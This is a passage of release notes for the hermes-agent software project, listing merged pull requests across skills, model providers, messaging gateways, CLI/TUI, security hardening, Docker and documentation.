+- `skip` at paste prompt bypasses auth without disabling server. ([#32069](https://github.com/NousResearch/hermes-agent/pull/32069))
+- Registry-aware `mcp_` prefix on both ends of round-trip. ([#31700](https://github.com/NousResearch/hermes-agent/pull/31700))
+
+---
+
+## 🧩 Skills Ecosystem
+
+### Skills system
+
+- **Skill bundles** — `/<name>` loads multiple skills. ([#28373](https://github.com/NousResearch/hermes-agent/pull/28373))
+- Skills Hub: health checks, freshness badge, and a watchdog cron. ([#32345](https://github.com/NousResearch/hermes-agent/pull/32345))
+- Opt-in AST deep diagnostics on skill writes. (salvage of [#30918](https://github.com/NousResearch/hermes-agent/pull/30918)) ([#31198](https://github.com/NousResearch/hermes-agent/pull/31198))
+- Bundled/pinned skill protection in background-review prompts. ([#28338](https://github.com/NousResearch/hermes-agent/pull/28338))
+- Show user-modified skill names in bundled skill sync summary. ([#28671](https://github.com/NousResearch/hermes-agent/pull/28671))
+- Load symlinked skill slash commands. ([#27759](https://github.com/NousResearch/hermes-agent/pull/27759))
+- Deduplicate Skills Hub search results by identifier, not name. ([#29490](https://github.com/NousResearch/hermes-agent/pull/29490))
+
+### New skills
+
+- `openhands` — delegate-to-OpenHands orchestration skill (closes [#477](https://github.com/NousResearch/hermes-agent/issues/477)) ([#32261](https://github.com/NousResearch/hermes-agent/pull/32261))
+- `code-wiki` — persistent indexed dev wiki (closes [#486](https://github.com/NousResearch/hermes-agent/issues/486)) ([#32240](https://github.com/NousResearch/hermes-agent/pull/32240))
+- `web-pentest` — OWASP recipes (closes [#400](https://github.com/NousResearch/hermes-agent/issues/400)) ([#32265](https://github.com/NousResearch/hermes-agent/pull/32265))
+- `baoyu-article-illustrator` ([#28287](https://github.com/NousResearch/hermes-agent/pull/28287))
+
+---
+
+## ☁️ Providers
+
+### xAI deep integration
+
+- **xAI Web Search** as a `plugins/web/xai/` provider plugin. ([#29042](https://github.com/NousResearch/hermes-agent/pull/29042))
+- **`hermes proxy` xAI upstream** — OpenAI-compatible local proxy backed by xai-oauth. ([#28356](https://github.com/NousResearch/hermes-agent/pull/28356))
+- **May 15 model retirement detection + `hermes migrate xai`** for grok-4 / grok-3 / grok-code-fast-1 / grok-imagine-image-pro. ([#29277](https://github.com/NousResearch/hermes-agent/pull/29277))
+- **Opt-in `auto_speech_tags`** for natural xAI TTS voice replies. ([#29376](https://github.com/NousResearch/hermes-agent/pull/29376))
+- **xai-oauth base_url pinned to x.ai origin** — closes silent credential-leak vector. ([#28952](https://github.com/NousResearch/hermes-agent/pull/28952))
+- **OpenAI-style execution guidance** applied to Grok / xai-oauth models. ([#27797](https://github.com/NousResearch/hermes-agent/pull/27797))
+- xAI: detect retired May 15 models in doctor/chat startup. ([#29277](https://github.com/NousResearch/hermes-agent/pull/29277))
+- xAI: resolve Grok Build context for OAuth. ([#30579](https://github.com/NousResearch/hermes-agent/pull/30579))
+- xAI OAuth: tier-gated 403 with API-key fallback. ([#28351](https://github.com/NousResearch/hermes-agent/pull/28351))
+- xAI OAuth: PKCE `code_challenge` echo. ([#27560](https://github.com/NousResearch/hermes-agent/pull/27560))
+- xAI OAuth: quarantine dead tokens on terminal refresh failure. ([#28116](https://github.com/NousResearch/hermes-agent/pull/28116))
+- xAI OAuth: honor `WKE=unauthenticated` disambiguator at both classifier sites. ([#30872](https://github.com/NousResearch/hermes-agent/pull/30872))
+- xAI OAuth: accept bare-code manual paste (state=None). (closes [#26923](https://github.com/NousResearch/hermes-agent/issues/26923)) ([#33880](https://github.com/NousResearch/hermes-agent/pull/33880))
+- xAI OAuth: fall back to manual paste on loopback timeout. ([#33231](https://github.com/NousResearch/hermes-agent/pull/33231))
+- xAI proxy: handle 429 rate-limit responses in proxy retry path. ([#33743](https://github.com/NousResearch/hermes-agent/pull/33743))
+
+### Other providers
+
+- **OpenAI API as a first-class provider** (distinct from Codex runtime). ([#31898](https://github.com/NousResearch/hermes-agent/pull/31898))
+- **Microsoft Entra ID** auth for Azure Foundry (with 1M Anthropic-Messages beta preserved on Bearer). (salvages [#27509](https://github.com/NousResearch/hermes-agent/pull/27509), [#27022](https://github.com/NousResearch/hermes-agent/pull/27022)) ([#28101](https://github.com/NousResearch/hermes-agent/pull/28101), [#28084](https://github.com/NousResearch/hermes-agent/pull/28084))
+- **OpenRouter** sticky routing — `session_id` passed via `extra_body` so a long-running session keeps landing on the same upstream provider. (@Cybourgeoisie) ([#33939](https://github.com/NousResearch/hermes-agent/pull/33939))
+- Nous: JWT token for inference; stop replaying invalid Nous refresh tokens. (@rewbs) ([#27663](https://github.com/NousResearch/hermes-agent/pull/27663))
+- Nous Portal: one-shot setup, status CLI, and Nous-included markers. ([#30860](https://github.com/NousResearch/hermes-agent/pull/30860))
+- Anthropic adapter: extract 7 helpers from `convert_messages_to_anthropic`. (salvage [#27784](https://github.com/NousResearch/hermes-agent/pull/27784)) ([#30386](https://github.com/NousResearch/hermes-agent/pull/30386))
+- Catalog: add `qwen3.7-max` to Alibaba + Alibaba-Coding-Plan model lists. ([#33129](https://github.com/NousResearch/hermes-agent/pull/33129))
+- opencode-go: route `qwen3.7-max` via `anthropic_messages`. (@beardthelion) ([#32780](https://github.com/NousResearch/hermes-agent/pull/32780))
+- opencode-go: expose Kimi K2 + DeepSeek reasoning controls. ([#30845](https://github.com/NousResearch/hermes-agent/pull/30845))
+- Remove Vercel AI Gateway and Vercel Sandbox.
+- MiniMax OAuth: refresh short-lived access tokens per request. ([#30619](https://github.com/NousResearch/hermes-agent/pull/30619))
+- Codex OAuth: quarantine terminal refresh errors. ([#28118](https://github.com/NousResearch/hermes-agent/pull/28118))
+- Codex: drop dead model slugs that HTTP 400 on ChatGPT Pro. ([#33424](https://github.com/NousResearch/hermes-agent/pull/33424))
+- Codex: sync `manual:device_code` pool entries on re-auth. ([#33744](https://github.com/NousResearch/hermes-agent/pull/33744))
+- MiniMax OAuth: quarantine terminal refresh errors. ([#28119](https://github.com/NousResearch/hermes-agent/pull/28119))
+
+---
+
+## 🔑 Secrets
+
+- **Bitwarden Secrets Manager** integration with lazy `bws` install. ([#30035](https://github.com/NousResearch/hermes-agent/pull/30035))
+- Bitwarden: EU Cloud + self-hosted server URL support. ([#31378](https://github.com/NousResearch/hermes-agent/pull/31378))
+- Label detected credentials with their source (Bitwarden). ([#30364](https://github.com/NousResearch/hermes-agent/pull/30364))
+
+---
+
+## 📱 Messaging Platforms (Gateway)
+
+### Gateway core
+
+- **Deliverable mode** — agents ship artifacts as native uploads from any platform (Slack/Discord/Telegram/Teams/Email). ([#27813](https://github.com/NousResearch/hermes-agent/pull/27813))
+- `hermes send` — pipe any script's output to any messaging platform. (salvage of [#19631](https://github.com/NousResearch/hermes-agent/pull/19631)) ([#27188](https://github.com/NousResearch/hermes-agent/pull/27188))
+- Debounce queued text follow-ups during active sessions. (salvage of [#31235](https://github.com/NousResearch/hermes-agent/pull/31235)) ([#31341](https://github.com/NousResearch/hermes-agent/pull/31341))
+- Plugin-transformed final_response delivered through streaming gate. ([#31433](https://github.com/NousResearch/hermes-agent/pull/31433))
+- Refresh cached agent tools on `/reload-mcp`. ([#32815](https://github.com/NousResearch/hermes-agent/pull/32815))
+- Harden kanban + provider cleanup races on long-running workloads. ([#29479](https://github.com/NousResearch/hermes-agent/pull/29479))
+
+### New / reorganized adapters
+
+- **ntfy** — 23rd platform, push notifications, plugin shape, zero core edits. (salvages [#30625](https://github.com/NousResearch/hermes-agent/pull/30625) → [#4043](https://github.com/NousResearch/hermes-agent/pull/4043)) ([#30867](https://github.com/NousResearch/hermes-agent/pull/30867))
+- **Discord** adapter migrated to bundled plugin. (salvage of [#24356](https://github.com/NousResearch/hermes-agent/pull/24356)) ([#30591](https://github.com/NousResearch/hermes-agent/pull/30591))
+- **Mattermost** adapter migrated to bundled plugin. (salvage of [#30916](https://github.com/NousResearch/hermes-agent/pull/30916)) ([#31748](https://github.com/NousResearch/hermes-agent/pull/31748))
+
+### Telegram
+
+- Edit status messages in place instead of appending. (based on [#30141](https://github.com/NousResearch/hermes-agent/pull/30141) by @qike-ms) ([#30864](https://github.com/NousResearch/hermes-agent/pull/30864))
+- Skip-STT audio path + 2GB cap via local Bot API server. ([#28541](https://github.com/NousResearch/hermes-agent/pull/28541))
+- Route image documents (.png/.jpg/.webp/.gif) through vision pipeline. ([#28519](https://github.com/NousResearch/hermes-agent/pull/28519))
+- Route audio file attachments away from STT pipeline. ([#28478](https://github.com/NousResearch/hermes-agent/pull/28478))
+- `disable_topic_auto_rename` gateway flag. ([#28523](https://github.com/NousResearch/hermes-agent/pull/28523))
+- `ignore_root_dm` config to drop messages without thread_id. ([#28536](https://github.com/NousResearch/hermes-agent/pull/28536))
+- Chat-scoped auth without sender user_id. ([#28525](https://github.com/NousResearch/hermes-agent/pull/28525))
+- Fail-closed auth fallback when `TELEGRAM_ALLOWED_USERS` is empty. ([#28494](https://github.com/NousResearch/hermes-agent/pull/28494))
+- Roll over tool progress bubbles + scope audio_file_paths. ([#28482](https://github.com/NousResearch/hermes-agent/pull/28482))
+- Avoid duplicate text after auto-TTS voice replies. ([#28509](https://github.com/NousResearch/hermes-agent/pull/28509))
+- Mark final voice reply notify-worthy so Telegram delivers it audibly. ([#28504](https://github.com/NousResearch/hermes-agent/pull/28504))
+
+### Discord
+
+- Recover Windows voice opus decoding. ([#33182](https://github.com/NousResearch/hermes-agent/pull/33182))
+- `allow_any_attachment` config to accept arbitrary file types. ([#27245](https://github.com/NousResearch/hermes-agent/pull/27245))
+- Transcribe native voice notes. ([#28993](https://github.com/NousResearch/hermes-agent/pull/28993))
+- Define UI view classes after lazy install. ([#28817](https://github.com/NousResearch/hermes-agent/pull/28817))
+
+### Signal / Matrix / Feishu / Slack / WeCom
+
+- Signal: `require_mention` filter for group chats. ([#28574](https://github.com/NousResearch/hermes-agent/pull/28574))
+- Matrix: warn on clock-skew silent message drops. ([#27330](https://github.com/NousResearch/hermes-agent/pull/27330))
+- Matrix E2EE installs full dep set; plugins respect `is_connected`. ([#31688](https://github.com/NousResearch/hermes-agent/pull/31688))
+- Feishu: require webhook auth secret + honor config extras. ([#30746](https://github.com/NousResearch/hermes-agent/pull/30746))
+- Feishu: enforce auth and chat binding for approval buttons. ([#30744](https://github.com/NousResearch/hermes-agent/pull/30744))
+- Slack: socket recovery + Windows restart dedupe. ([#28873](https://github.com/NousResearch/hermes-agent/pull/28873))
+- WeCom: safe-parse untrusted XML. ([#32442](https://github.com/NousResearch/hermes-agent/pull/32442))
+
+### DingTalk / Webhooks / Microsoft Graph
+
+- DingTalk: transcribe native voice notes. ([#28993](https://github.com/NousResearch/hermes-agent/pull/28993))
+- Webhook: enforce `INSECURE_NO_AUTH` safety rail on dynamic route reloads. ([#30863](https://github.com/NousResearch/hermes-agent/pull/30863))
+- Webhook: restrict default toolset capabilities. ([#30745](https://github.com/NousResearch/hermes-agent/pull/30745))
+- Microsoft Graph: harden webhook auth requirements. ([#30169](https://github.com/NousResearch/hermes-agent/pull/30169))
+
+---
+
+## 🖥️ CLI & TUI
+
+### CLI
+
+- `/update` slash command in CLI and TUI. ([#23854](https://github.com/NousResearch/hermes-agent/pull/23854))
+- Update auto-rollback when post-pull syntax check fails. ([#28669](https://github.com/NousResearch/hermes-agent/pull/28669))
+- `--branch` flag for `hermes update`. (@jquesnelle) ([#29591](https://github.com/NousResearch/hermes-agent/pull/29591))
+- `/exit --delete` flag to remove session on quit. (salvage of [#17665](https://github.com/NousResearch/hermes-agent/pull/17665)) ([#27101](https://github.com/NousResearch/hermes-agent/pull/27101))
+- `▶ N` indicator in status bar for running `/background` tasks. ([#27175](https://github.com/NousResearch/hermes-agent/pull/27175))
+- Live background terminal-process count in status bar. ([#32061](https://github.com/NousResearch/hermes-agent/pull/32061))
+- Append session recap to `/status` output. (salvage of [#18587](https://github.com/NousResearch/hermes-agent/pull/18587)) ([#27176](https://github.com/NousResearch/hermes-agent/pull/27176))
+- Configurable paste-collapse thresholds (TUI + CLI). (salvage [#29723](https://github.com/NousResearch/hermes-agent/pull/29723)) ([#32087](https://github.com/NousResearch/hermes-agent/pull/32087))
+- `/resume` accepts position numbers. ([#31709](https://github.com/NousResearch/hermes-agent/pull/31709))
+- Bring tool-call display back — verbose mode, specific failure reasons, todo progress. ([#31293](https://github.com/NousResearch/hermes-agent/pull/31293))
+- Validate runtime token refresh in Qwen auth status. ([#31196](https://github.com/NousResearch/hermes-agent/pull/31196))
+
+### TUI
+
+- **TUI session orchestrator** — multiple live sessions in one TUI window. (salvages [#27642](https://github.com/NousResearch/hermes-agent/pull/27642)) ([#32980](https://github.com/NousResearch/hermes-agent/pull/32980))
+- `mouse_tracking` DEC mode presets. (salvage of [#26681](https://github.com/NousResearch/hermes-agent/pull/26681) by @OutThisLife) ([#30084](https://github.com/NousResearch/hermes-agent/pull/30084))
+- Termux scrollback preservation + touch-friendly defaults. ([#28910](https://github.com/NousResearch/hermes-agent/pull/28910))
+- Full assistant text in scrollback (no history truncation). ([#28829](https://github.com/NousResearch/hermes-agent/pull/28829))
+- Preserve scrollback when branching sessions. ([#30162](https://github.com/NousResearch/hermes-agent/pull/30162))
+- Preserve Python dunder identifiers in markdown. ([#28582](https://github.com/NousResearch/hermes-agent/pull/28582))
+- Active profile shown in TUI prompt. ([#28581](https://github.com/NousResearch/hermes-agent/pull/28581))
+- Improve Charizard completion menu contrast. ([#28346](https://github.com/NousResearch/hermes-agent/pull/28346))
+- Stop slash dropdown chopping last char of `/goal`. ([#31311](https://github.com/NousResearch/hermes-agent/pull/31311))
+- Clipboard copy on linux/wayland. ([#29342](https://github.com/NousResearch/hermes-agent/pull/29342))
+- Anchor `splitReasoning` unclosed-tag regex; stop eating last paragraph. ([#29426](https://github.com/NousResearch/hermes-agent/pull/29426))
+- Surface verbose tool details. ([#30225](https://github.com/NousResearch/hermes-agent/pull/30225))
+- Load Linux skills on Termux + salvage @adybag14-cyber's Termux gates. ([#30166](https://github.com/NousResearch/hermes-agent/pull/30166))
+- Handle images with codex app-server. ([#31220](https://github.com/NousResearch/hermes-agent/pull/31220))
+- Refresh virtual transcript on viewport resize. ([#31077](https://github.com/NousResearch/hermes-agent/pull/31077))
+- Ignore late thinking deltas after completion. ([#31055](https://github.com/NousResearch/hermes-agent/pull/31055))
+- Commit composer input bursts immediately. ([#31053](https://github.com/NousResearch/hermes-agent/pull/31053))
+- Log parent gateway lifecycle exits. ([#31051](https://github.com/NousResearch/hermes-agent/pull/31051))
+- Clear TTS env var on voice off + TTS indicator in status bar. ([#30987](https://github.com/NousResearch/hermes-agent/pull/30987))
+- Pass `--expose-gc` as node argv instead of NODE_OPTIONS. ([#29998](https://github.com/NousResearch/hermes-agent/pull/29998))
+- Align composer cursorLayout with wrap-ansi to kill multiline cursor drift. ([#27489](https://github.com/NousResearch/hermes-agent/pull/27489))
+- Harden Terminal.app rendering and color paths. ([#27251](https://github.com/NousResearch/hermes-agent/pull/27251))
+- Keep `/goal` verdict out of compact status row. ([#27971](https://github.com/NousResearch/hermes-agent/pull/27971))
+- Clamp curses color 8 for 8-color terminals (Docker). ([#30260](https://github.com/NousResearch/hermes-agent/pull/30260))
+
+---
+
+## 🔒 Security & Reliability
+
+### Promptware & memory hardening
+
+- **Promptware defense** — shared threat patterns + memory load-time scan + tool-result delimiters. ([#32269](https://github.com/NousResearch/hermes-agent/pull/32269))
+- Expand memory content scanning patterns to parity with skills guard. ([#9151](https://github.com/NousResearch/hermes-agent/pull/9151))
+- Harden Skills Guard multi-word prompt patterns. (@YLChen-007) ([#26852](https://github.com/NousResearch/hermes-agent/pull/26852))
+- Split cron scanner so skill prose stops false-positiving exfil patterns. ([#32339](https://github.com/NousResearch/hermes-agent/pull/32339))
+
+### File safety
+
+- Protect Hermes control-plane files from prompt injection (`auth.json`, `config.yaml`, `webhook_subscriptions.json`, `mcp-tokens/`). (salvages @PratikRai0101's [#14157](https://github.com/NousResearch/hermes-agent/pull/14157)) ([#30397](https://github.com/NousResearch/hermes-agent/pull/30397))
+- Write-deny `<root>/.env` when running under a profile. ([#29687](https://github.com/NousResearch/hermes-agent/pull/29687))
+- Defense-in-depth read-deny on credential stores. (salvages [#17659](https://github.com/NousResearch/hermes-agent/pull/17659) + [#8055](https://github.com/NousResearch/hermes-agent/pull/8055)) ([#30721](https://github.com/NousResearch/hermes-agent/pull/30721))
+- TTS `output_path` traversal + update ZIP symlink reject. (salvage [#6693](https://github.com/NousResearch/hermes-agent/pull/6693) + [#15881](https://github.com/NousResearch/hermes-agent/pull/15881)) ([#32056](https://github.com/NousResearch/hermes-agent/pull/32056))
+- Reject symlinked audio inputs. ([#10082](https://github.com/NousResearch/hermes-agent/pull/10082))
+
+### Credential safety
+
+- Avoid persisting borrowed credential secrets — runtime env-sourced keys no longer leak into `auth.json`. ([#31416](https://github.com/NousResearch/hermes-agent/pull/31416))
+- Validate Nous Portal `inference_base_url` against host allowlist. (salvages [#27612](https://github.com/NousResearch/hermes-agent/pull/27612)) ([#30611](https://github.com/NousResearch/hermes-agent/pull/30611))
+- Harden API server key placeholder handling. ([#30738](https://github.com/NousResearch/hermes-agent/pull/30738))
+- Harden Google Chat OAuth credential persistence. (@Zyrixtrex) ([#24788](https://github.com/NousResearch/hermes-agent/pull/24788))
+- xAI OAuth: pin inference `base_url` to x.ai origin. ([#28952](https://github.com/NousResearch/hermes-agent/pull/28952))
+- Quarantine dead OAuth tokens on terminal refresh failure (xAI, Codex, MiniMax). ([#28116](https://github.com/NousResearch/hermes-agent/pull/28116), [#28118](https://github.com/NousResearch/hermes-agent/pull/28118), [#28119](https://github.com/NousResearch/hermes-agent/pull/28119))
+
+### Supply-chain
+
+- **On-demand supply-chain audit via OSV.dev** — `hermes audit`. ([#31460](https://github.com/NousResearch/hermes-agent/pull/31460))
+- `hermes update` syntax-validates critical files post-pull, auto-rollback on failure. ([#28669](https://github.com/NousResearch/hermes-agent/pull/28669))
+- Quarantine `hermes.exe` vs concurrent Windows instance. ([#26677](https://github.com/NousResearch/hermes-agent/pull/26677))
+
+### Other hardening
+
+- Restrict default webhook toolset capabilities. ([#30745](https://github.com/NousResearch/hermes-agent/pull/30745))
+- Harden Microsoft Graph webhook auth requirements. ([#30169](https://github.com/NousResearch/hermes-agent/pull/30169))
+- Require source CIDR allowlisting for public msgraph webhook binds. ([#33722](https://github.com/NousResearch/hermes-agent/pull/33722))
+- Require `API_SERVER_KEY` before dispatching API server work. ([#33232](https://github.com/NousResearch/hermes-agent/pull/33232))
+- env_passthrough: apply GHSA-rhgp-j443-p4rf filter to config.yaml path. (@roadhero) ([#27794](https://github.com/NousResearch/hermes-agent/pull/27794))
+- Dashboard + WeCom: restrict markdown link schemes; safe-parse untrusted XML. ([#32442](https://github.com/NousResearch/hermes-agent/pull/32442))
+- Salvage project-plugin RCE bypass fix from PR [#29311](https://github.com/NousResearch/hermes-agent/pull/29311) (GHSA-5qr3-c538-wm9j). ([#30837](https://github.com/NousResearch/hermes-agent/pull/30837))
+- Cross-profile soft guard on file-write tools + system-prompt hint. ([#31290](https://github.com/NousResearch/hermes-agent/pull/31290))
+- Reject unsafe tar members in Android psutil compatibility installer. ([#33742](https://github.com/NousResearch/hermes-agent/pull/33742))
+- Reject non-regular tar members during tirith auto-install. ([#33786](https://github.com/NousResearch/hermes-agent/pull/33786))
+
+---
+
+## 🪟 Native Windows (Beta Continued)
+
+- Complete Windows bootstrap — `dep_ensure` + `install.ps1` + detection. (@alt-glitch) ([#27845](https://github.com/NousResearch/hermes-agent/pull/27845))
+- `install.ps1`: strip BOM, `-Commit`/`-Tag` pin params, harden git ops. (@jquesnelle) ([#28169](https://github.com/NousResearch/hermes-agent/pull/28169))
+- Consolidate ACP browser bootstrap into `install.{sh,ps1}`. (@alt-glitch) ([#27851](https://github.com/NousResearch/hermes-agent/pull/27851))
+- `hermes update` quarantines live `hermes.exe`. ([#26677](https://github.com/NousResearch/hermes-agent/pull/26677))
+- Discord voice opus decoding on Windows. ([#33182](https://github.com/NousResearch/hermes-agent/pull/33182))
+- Windows Docker Desktop compatible compose file. (@Sunil123135) ([#31031](https://github.com/NousResearch/hermes-agent/pull/31031))
+
+---
+
+## 🖥️ Web Dashboard
+
+- Hardened Slack socket recovery + Windows restart dedupe. ([#28873](https://github.com/NousResearch/hermes-agent/pull/28873))
+- Web dashboard: migrate checkboxes to `@nous-research/ui` + design-system polish. (@austinpickett) ([#28814](https://github.com/NousResearch/hermes-agent/pull/28814))
+- Web dashboard: collapsible sidebar. (@austinpickett) ([#33421](https://github.com/NousResearch/hermes-agent/pull/33421))
+- Dashboard typography & contrast pass. (salvage of [#28832](https://github.com/NousResearch/hermes-agent/pull/28832)) ([#30714](https://github.com/NousResearch/hermes-agent/pull/30714))
+- Skills page: lazy-fetch catalog instead of bundling 34MB into JS. ([#33809](https://github.com/NousResearch/hermes-agent/pull/33809))
+
+---
+
+## 🐳 Docker
+
+- **s6-overlay container supervision** — abstract `ServiceManager` protocol (systemd/launchd/Windows/s6 backends), per-profile gateway supervision in-container, container-restart reconciliation, hadolint/shellcheck CI. (salvage of [#30136](https://github.com/NousResearch/hermes-agent/pull/30136), @benbarclay) ([#31760](https://github.com/NousResearch/hermes-agent/pull/31760))
+- Auto-redirect `gateway run` to supervised mode inside the s6 image. (@benbarclay) ([#33583](https://github.com/NousResearch/hermes-agent/pull/33583))
+- Tee supervised gateway stdout to docker logs. (@benbarclay) ([#33621](https://github.com/NousResearch/hermes-agent/pull/33621))
+- Drop `docker exec` to hermes uid before invoking the CLI. (@benbarclay) ([#33628](https://github.com/NousResearch/hermes-agent/pull/33628))
+- Align HOME for dashboard and s6 gateway services. (@Dusk1e) ([#33481](https://github.com/NousResearch/hermes-agent/pull/33481))
+- Bake build-time git SHA into image so `hermes dump` reports it. (@benbarclay) ([#33655](https://github.com/NousResearch/hermes-agent/pull/33655))
+- `hermes update` prints `docker pull` guidance instead of bogus git error. (@benbarclay) ([#33659](https://github.com/NousResearch/hermes-agent/pull/33659))
+- Upgrade Node to 22 LTS via multi-stage from `node:22-bookworm-slim`. (@benbarclay) ([#33060](https://github.com/NousResearch/hermes-agent/pull/33060))
+- Drop `build-essential` from apt install. (@benbarclay) ([#33028](https://github.com/NousResearch/hermes-agent/pull/33028))
+- Propagate env through s6 to cont-init and main CMD. ([#32412](https://github.com/NousResearch/hermes-agent/pull/32412))
+- Targeted chown to preserve host file ownership in `HERMES_HOME`. ([#33033](https://github.com/NousResearch/hermes-agent/pull/33033))
+- `mkdir HERMES_HOME` as root in stage2 before chown / privilege drop. ([#33078](https://github.com/NousResearch/hermes-agent/pull/33078))
+- chown `ui-tui` and `node_modules` on UID remap so TUI esbuild works. ([#33045](https://github.com/NousResearch/hermes-agent/pull/33045))
+- Include `anthropic`, `bedrock`, `azure-identity` extras in image. ([#30504](https://github.com/NousResearch/hermes-agent/pull/30504))
+- Stop pushing per-commit SHA tags to Docker Hub. ([#29387](https://github.com/NousResearch/hermes-agent/pull/29387))
+- Simplify Docker tagging — push both `:main` and `:latest` on main push. ([#33225](https://github.com/NousResearch/hermes-agent/pull/33225))
+- Test slicing across GH actions jobs. (@ethernet8023) ([#30575](https://github.com/NousResearch/hermes-agent/pull/30575))
+- Discover agent-browser Chromium binary at boot. ([#33184](https://github.com/NousResearch/hermes-agent/pull/33184))
+
+---
+
+## 🌐 API Server
+
+- **Session control API** — `/api/sessions/*` (list/create/read/patch/delete/fork) + SSE-streaming chat. (salvages [#29302](https://github.com/NousResearch/hermes-agent/pull/29302) by @Codename-11 + multimodal followup by @Schwartz10) ([#33134](https://github.com/NousResearch/hermes-agent/pull/33134))
+- `GET /v1/skills` and `/v1/toolsets`. ([#33016](https://github.com/NousResearch/hermes-agent/pull/33016))
+- Coerce stringified booleans in stream/store/approval payloads. (salvage [#26639](https://github.com/NousResearch/hermes-agent/pull/26639)) ([#27293](https://github.com/NousResearch/hermes-agent/pull/27293))
+- Honor `key_env` in auth-failure fallback resolution. ([#30840](https://github.com/NousResearch/hermes-agent/pull/30840))
+
+---
+
+## 🎟️ ACP (VS Code / Zed / JetBrains)
+
+- Session edit auto-approval modes. (salvage of [#27034](https://github.com/NousResearch/hermes-agent/pull/27034)) ([#27862](https://github.com/NousResearch/hermes-agent/pull/27862))
+- Enrich Zed permission cards — command in title + `reject_always`. ([#28148](https://github.com/NousResearch/hermes-agent/pull/28148))
+- Replay session history before responding to `session/load`. ([#26957](https://github.com/NousResearch/hermes-agent/pull/26957), [#26943](https://github.com/NousResearch/hermes-agent/pull/26943))
+- Plugin-transformed final_response delivered through streaming gate. ([#31433](https://github.com/NousResearch/hermes-agent/pull/31433))
+
+---
+
+## 🔌 Plugin Surface
+
+- `register_tts_provider()` plugin hook. (salvage of [#30420](https://github.com/NousResearch/hermes-agent/pull/30420)) ([#31745](https://github.com/NousResearch/hermes-agent/pull/31745))
+- `register_transcription_provider()` hook + `stt.providers` command-provider registry. (salvage of [#30493](https://github.com/NousResearch/hermes-agent/pull/30493)) ([#31907](https://github.com/NousResearch/hermes-agent/pull/31907))
+- `register_auxiliary_task()` in PluginContext API. (salvage [#29817](https://github.com/NousResearch/hermes-agent/pull/29817)) ([#31177](https://github.com/NousResearch/hermes-agent/pull/31177))
+- Bundled `security-guidance` plugin. ([#33131](https://github.com/NousResearch/hermes-agent/pull/33131))
+- Discord and Mattermost migrated to bundled plugins. ([#30591](https://github.com/NousResearch/hermes-agent/pull/30591), [#31748](https://github.com/NousResearch/hermes-agent/pull/31748))
+- ntfy as platform plugin. ([#30867](https://github.com/NousResearch/hermes-agent/pull/30867))
+- Surface category-namespaced plugins in `hermes plugins list`. ([#27187](https://github.com/NousResearch/hermes-agent/pull/27187))
+- Plugin discovery failures raised to WARNING level. ([#28318](https://github.com/NousResearch/hermes-agent/pull/28318))
+- `hermes_plugins` included in gateway.log component filter. ([#28313](https://github.com/NousResearch/hermes-agent/pull/28313))
+- Seed plugin extras before `is_connected` gate. ([#31703](https://github.com/NousResearch/hermes-agent/pull/31703))
+- Dashboard: allowlist plugin assets + denylist subprocess-influencing env vars. ([#32277](https://github.com/NousResearch/hermes-agent/pull/32277))
+
+---
+
+## 📦 Distribution & Install
+
+- Install-method stamping + Docker detection. (@alt-glitch) ([#27843](https://github.com/NousResearch/hermes-agent/pull/27843))
+- Nix `#messaging` and `#full` package variants. (@alt-glitch) ([#33108](https://github.com/NousResearch/hermes-agent/pull/33108))
+- Pre-load messaging gateway deps via `--extra messaging`. (salvage [#26394](https://github.com/NousResearch/hermes-agent/pull/26394)) ([#27558](https://github.com/NousResearch/hermes-agent/pull/27558))
+- Avoid piping installer directly into `iex` (Windows). ([#28347](https://github.com/NousResearch/hermes-agent/pull/28347))
+- Ship bundled skills in wheel. ([#28421](https://github.com/NousResearch/hermes-agent/pull/28421))
+- Ship dashboard plugin assets in wheel. ([#28406](https://github.com/NousResearch/hermes-agent/pull/28406))
+- Make Camofox lazy-installed instead of eager. ([#27055](https://github.com/NousResearch/hermes-agent/pull/27055))
+- Wire STT lazy-install into transcription_tools.py. ([#30256](https://github.com/NousResearch/hermes-agent/pull/30256))
+
+---
+
+## 🐛 Notable Bug Fixes (highlights only)
+
+- Match bare custom provider by active base URL in `hermes model`. ([#28908](https://github.com/NousResearch/hermes-agent/pull/28908))
+- Route `auxiliary.vision.provider=openai` to api.openai.com, skip text-only main. ([#31452](https://github.com/NousResearch/hermes-agent/pull/31452))
+- Lint: skip per-file shell linter when LSP will handle the file. ([#29054](https://github.com/NousResearch/hermes-agent/pull/29054))
+- Treat empty credential pool entries as unauthenticated in `/model` picker. ([#28312](https://github.com/NousResearch/hermes-agent/pull/28312))
+- Reverted within window: Firecrawl integration tag, send_message @username auto-mentions, Telegram quick-command-only menus, Telegram pin-on-turn.
+
+---
+
+## 🧪 Testing
+
+- Disarm lazy-install probe so `_HAS_FASTER_WHISPER` patches work. ([#30334](https://github.com/NousResearch/hermes-agent/pull/30334))
+- Cover default board dashboard pin. ([#28361](https://github.com/NousResearch/hermes-agent/pull/28361))
+- Cover `_task_dict` `task_age` fallback. ([#28365](https://github.com/NousResearch/hermes-agent/pull/28365))
+- Allowlist `tmp_path` for `kanban_notify` artifact delivery tests. ([#30851](https://github.com/NousResearch/hermes-agent/pull/30851), [#30852](https://github.com/NousResearch/hermes-agent/pull/30852))
+- Cover null output stream terminal events in Codex. ([#33137](https://github.com/NousResearch/hermes-agent/pull/33137))
+
+---
+
+## 📚 Documentation
+
+- **30-day docs overhaul** — full correctness audit, every PR in the window covered, Nous Portal weave, sidebar reorg. ([#33782](https://github.com/NousResearch/hermes-agent/pull/33782))
+- Dedicated Nous Portal integration page and setup guide. ([#31296](https://github.com/NousResearch/hermes-agent/pull/31296))
+- Providers: move Nous Portal first, Google Gemini OAuth last. ([#31287](https://github.com/NousResearch/hermes-agent/pull/31287))
+- `session_search` rewrite for single-shape tool. ([#27840](https://github.com/NousResearch/hermes-agent/pull/27840))
+- Kanban: document failure_limit, max_retries, inline create shortcuts, goals & kanban settings. ([#28357](https://github.com/NousResearch/hermes-agent/pull/28357), [#28358](https://github.com/NousResearch/hermes-agent/pull/28358), [#28359](https://github.com/NousResearch/hermes-agent/pull/28359), [#28360](https://github.com/NousResearch/hermes-agent/pull/28360), [#28362](https://github.com/NousResearch/hermes-agent/pull/28362))
+- Kanban Codex lane skill. ([#28430](https://github.com/NousResearch/hermes-agent/pull/28430))
+- xAI OAuth: note X Premium+ also unlocks Grok OAuth. ([#29055](https://github.com/NousResearch/hermes-agent/pull/29055))
+- Docs site: Docker audio bridge notes, "Installing more tools in the container", xurl auth HOME in Docker.
+- Email: clarify gateway vs Himalaya setup. (@helix4u) ([#33634](https://github.com/NousResearch/hermes-agent/pull/33634))
